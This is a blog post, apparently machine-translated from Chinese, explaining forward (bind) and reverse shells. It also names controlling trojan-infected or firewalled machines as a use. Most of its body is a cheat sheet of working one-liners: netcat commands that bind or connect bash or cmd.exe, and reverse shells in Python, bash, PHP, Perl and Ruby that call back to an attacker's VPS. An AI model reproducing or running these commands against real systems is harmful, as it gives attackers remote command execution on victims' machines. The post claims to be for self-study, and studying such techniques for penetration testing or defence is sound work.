当前位置:网站首页>[try to hack] forward shell and reverse shell
[try to hack] forward shell and reverse shell
2022-06-26 23:21:00 【Happy star】
Blog home page : Happy star The blog home page of
Series column :Try to Hack
Welcome to focus on the likes collection ️ Leaving a message.
Starting time :2022 year 6 month 26 Japan
The author's level is very limited , If an error is found , Please let me know , thank !
The content of the article comes from the Internet , Only for your own study . More on This article
Navigation assistant
positive shell And reverse shell
positive shell: The control end actively initiates the connection to connect the controlled end
reverse shell: The controlled end is actively connected to the control end ( Mostly connected vps, Because the attacker's computer usually has no public network IP So you can't connect )
Mostly reverse shell. In a penetrating environment , Usually, the controlled end is restricted by the firewall 、 Insufficient authority 、 The port is occupied . This will cause the data packets that usually enter the controlled end to be intercepted and other reasons to fail to connect . However, the packets sent by the control end will not be intercepted .
reverse shell It's just that the control side monitors at a certain point TCP/UDP port , The controlled end initiates a request to the port , And transfer the input and output of its command line to the control side
When to reverse shell?
1. A client has your webhorse , But it's in the LAN , You can't connect directly .
2. its ip It will change dynamically , You can't keep controlling .
3. Due to restrictions such as firewall , The other machine can only send requests , Cannot receive request .
4. For viruses , Trojan horse , When will the victim get caught , What is the other party's network environment , When to switch on and off , It's all unknown , So build a server , Let malicious programs actively connect , That's the best way .
positive shell
Open... On the target host 4444 port
nc -lvp 4444 -e /bin/bash // linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe // windows
Locally or VPS On the host, connect to the target host 4444 port
nc The target host ip 4444
reverse shell
Locally or VPS Listen on the host 9999 port
nc -lvp 9999
Enter the following command on the target host , Connect VPS Or host's 9999 port
nc vps Or host's ip 9999 -e /bin/sh //linux
nc vps Or host's ip -e c:\windows\system32\cmd.exe //windows
There is no nc Get the reverse shell
VPS Or listen on the local host 2222 port
nc -lvp 2222
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps Or the local host ip",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
bash
bash -i >& /dev/tcp/vps Or the local host ip/2222 0>&1
php
php -r '$sock=fsockopen("vps Or the local host ip",2222);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
perl
perl -e 'use Socket;$i="vps Or the local host ip";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby
ruby -rsocket -e 'c=TCPSocket.new("vps Or the local host ip","2222");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
or
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("vps Or the local host ip","2222");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
边栏推荐
- 从位图到布隆过滤器,C#实现
- Wechat applet is authorized to log in wx getUserProfile
- 有哪些劵商推荐?现在在线开户安全么?
- Crawler and Middleware of go language
- 软件工程导论——第四章——形式化说明技术
- Tensorrt notes (VII) sorting out tensorrt use problems
- 浅谈分布式系统开发技术中的CAP定理
- Unity: 脚本缺失 “The referenced script (Unknown) on this Behaviour is missing!“
- 让敏捷回归本源——读《敏捷整洁之道》有感
- Is it safe to open an account on your mobile phone to buy stocks? Is it safe to open an account online to speculate in stocks
猜你喜欢

VB. Net class library - 4 screen shots, clipping

Learun low code OA system construction platform

软件工程导论——第四章——形式化说明技术
![[interface] pyqt5 and swing transformer for face recognition](/img/37/b259627a8ffd82afe8e8f3029bf290.png)
[interface] pyqt5 and swing transformer for face recognition

微信小程序自动生成打卡海报

Leetcode (452) - detonate the balloon with the minimum number of arrows

Reading graph augmentations to learn graph representations (lg2ar)

300题 第三讲 向量组

golang语言的开发学习路线
![How to download on selenium computer -selenium download and installation graphic tutorial [ultra detailed]](/img/ec/1c324dcf38d07742a139aac2bab02e.png)
How to download on selenium computer -selenium download and installation graphic tutorial [ultra detailed]
随机推荐
主从复制系统设计
[cloud native topic -51]:kubesphere cloud Governance - operation - step by step deployment of microservice based business applications - database middleware redis microservice deployment process
Briefly describe the model animation function of unity
Unity初学者肯定能用得上的50个小技巧
Unity3d plug-in anyportrait 2D bone animation
Unityeditor Editor Extension - table function
Leetcode (763) -- dividing letter ranges
Microservices and container choreography in go
golang语言的开发学习路线
leetcode 1143. Longest common subsequence (medium)
WordPress collection plug-ins are recommended to be free collection plug-ins
Unity animation knowledge of Art
6.24 学习内容
C language: a simple calculator is implemented by using code many times
买股票在手机上开户安全吗 网上开户炒股安全吗
Crawler and Middleware of go language
您的连接不是私密连接
Operations research says that in issue 66, Behrman also has "speech phobia"?
6.24 learning content
电子协会 C语言 1级 29 、 对齐输出